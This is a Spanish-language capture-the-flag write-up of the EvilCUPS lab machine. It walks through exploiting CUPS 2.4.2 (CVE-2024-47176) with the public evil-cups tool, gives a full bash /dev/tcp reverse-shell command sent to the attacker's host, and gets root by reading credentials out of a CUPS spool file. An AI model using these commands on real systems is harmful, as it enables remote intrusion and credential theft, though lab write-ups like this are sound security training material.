🛡️ EvilCUPS 🛡️

🔹Reconocimiento de puertos y servicios

🔹Explotación del servicio Cups 2.4.2

🔹CVE-2024-47176

🔹Escalada de privilegios mediante fuga de información.

 

Fase de Reconocimiento

En primer lugar listaremos los puertos y los servicios activos mediante la herramienta Nmap:

Nmap nos reporta dos puestos abiertos:

🔹Puerto 22: Utilizado principalmente para el servicio SSH .

🔹Puerto 631: Utilizando por el servicio CUPS 2.4.2. 

Servicio CUPS 2.4.2

CUPS es un sistema de impresión de código abierto y modular que utiliza Internet Printing Protocol (IPP) como base para la gestión de impresoras, solicitudes de impresión y colas de impresión.

Mediante el navegador podemos ver la terminal gráfica del sistema Cups y si nos dirigimos a la sección Impresoras, veremos la información de las impresoras activas. 

Tras buscar información sobre el sistema Cubs 2.4.2, vemos que existen varias vulnerabilidades reportadas. Tras realizar varias pruebas vemos que el sistema es vulnerable a CVE-2024-47176 y CVE-2024-47177.

 

CVE-2024-47176

CUPS (Common Unix Printing System) es un marco de código abierto para administrar y controlar impresoras en sistemas UNIX y similares. Es una de las bibliotecas más utilizadas para imprimir y es compatible con UNIX, Linux y algunos dispositivos Apple.

Se encontraron varias vulnerabilidades críticas en CUPS que, cuando se encadenan, pueden provocar la ejecución remota de código. Los CVE en cuestión son CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.

Las vulnerabilidades permiten a un atacante remoto agregar o configurar impresoras de red de tal manera que ejecuten código arbitrario cuando los usuarios intenten imprimir desde ellas.

Tras buscar algún exploit relacionado con esta vulnerabilidad encontramos en Github la herramienta Evil-cups.

📚 https://github.com/ippsec/evil-cups

Descargamos el repositorio e instalamos lo requisitos mediante el archivo requirements.txt.

				
					git clone https://github.com/ippsec/evil-cups
				
			

Una vez descargado el repositorio, crearemos un entorno virtual para poder instalar los requerimientos necesarios.

				
					python3 -m venv ~/venv
source ~/venv/bin/activate
pip install -r requirements.txt
				
			

Evilcups

Ahora ya podemos utilizar la herramienta Evilcups, y al ejecutarla, vemos como nos pide tres argumentos:

  • LOCAL_HOST: Nuestra dirección local.
  • TARGET_HOST: La dirección del servicio Cups.
  • COMMAND: El comando que queremos ejecutar.

Vamos a utilizar este exploit para tratar de ejecutar un comando que nos devuelva una shell inversa. Podemos generar un comando personalizado que nos ejecute una reverse shell mediante la pagina revshells.com.

📚 https://www.revshells.com/

Para asegurarnos que el comando se ejecuta, utilizaremos el comando bash -c para ejecutar el código de la reverse shell. El código que trataremos de ejecutar mediante la herramienta Evilcups será el siguiente:

				
					"bash -c 'bash -i >& /dev/tcp/10.10.14.93/443 0>&1'"
				
			

Una vez tenemos nuestro código, ejecutaremos el exploit especificando las direcciones y el código.

				
					python3 evilcups.py 10.10.14.93 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.14.93/443 0>&1'"
				
			

Pasados unos 30 segundo Evilcups nos indicará que nuestra Impresora maliciosa ha sido instalada. Podemos confirmarlo mediante el panel de administración de Cups que hemos abierto en el navegador, si nos dirigimos al apartado Impresoras vemos como ahora nos aparece una impresora con el nombre HACKED_10_10_14_93.

Para establecer nuestra reverse shell, en primer lugar, nos pondremos en escucha con Netcat por el puerto 443, luego tendremos que acceder a la impresora creada y desde las opciones de Mantenimiento, ejecutaremos una prueba de impresión.

Al ejecutar la prueba de impresión vemos como nos reporta la reverse shell y conseguimos acceso como el usuario lp. Si nos dirigimos al directorio /home/htb/ encontraremos la primera flag.

Escalada de privilegios

Una vez tenemos acceso, podemos tratar de ver los archivos del directorio /var/spool/cups el cual es el predeterminado del servicio Cups. Algo interesante de esta parte de la explotación, es que nosotros como el usuario lp no tenemos permisos de ejecución dentro del directorio /var/spool/cups, ni tampoco podemos ver los archivos que contienen, pero resulta, que el servicio Cups sigue un patrón para nombrar los archivos iniciándose desde el nombre d00001-001. Podemos tratar de leer este documento mediante el comando cat.

Al revisar el documento vemos como aparecen una credenciales.

Mediante las credenciales encontradas podremos acceder como Root y ver la flag situada en el directorio /root.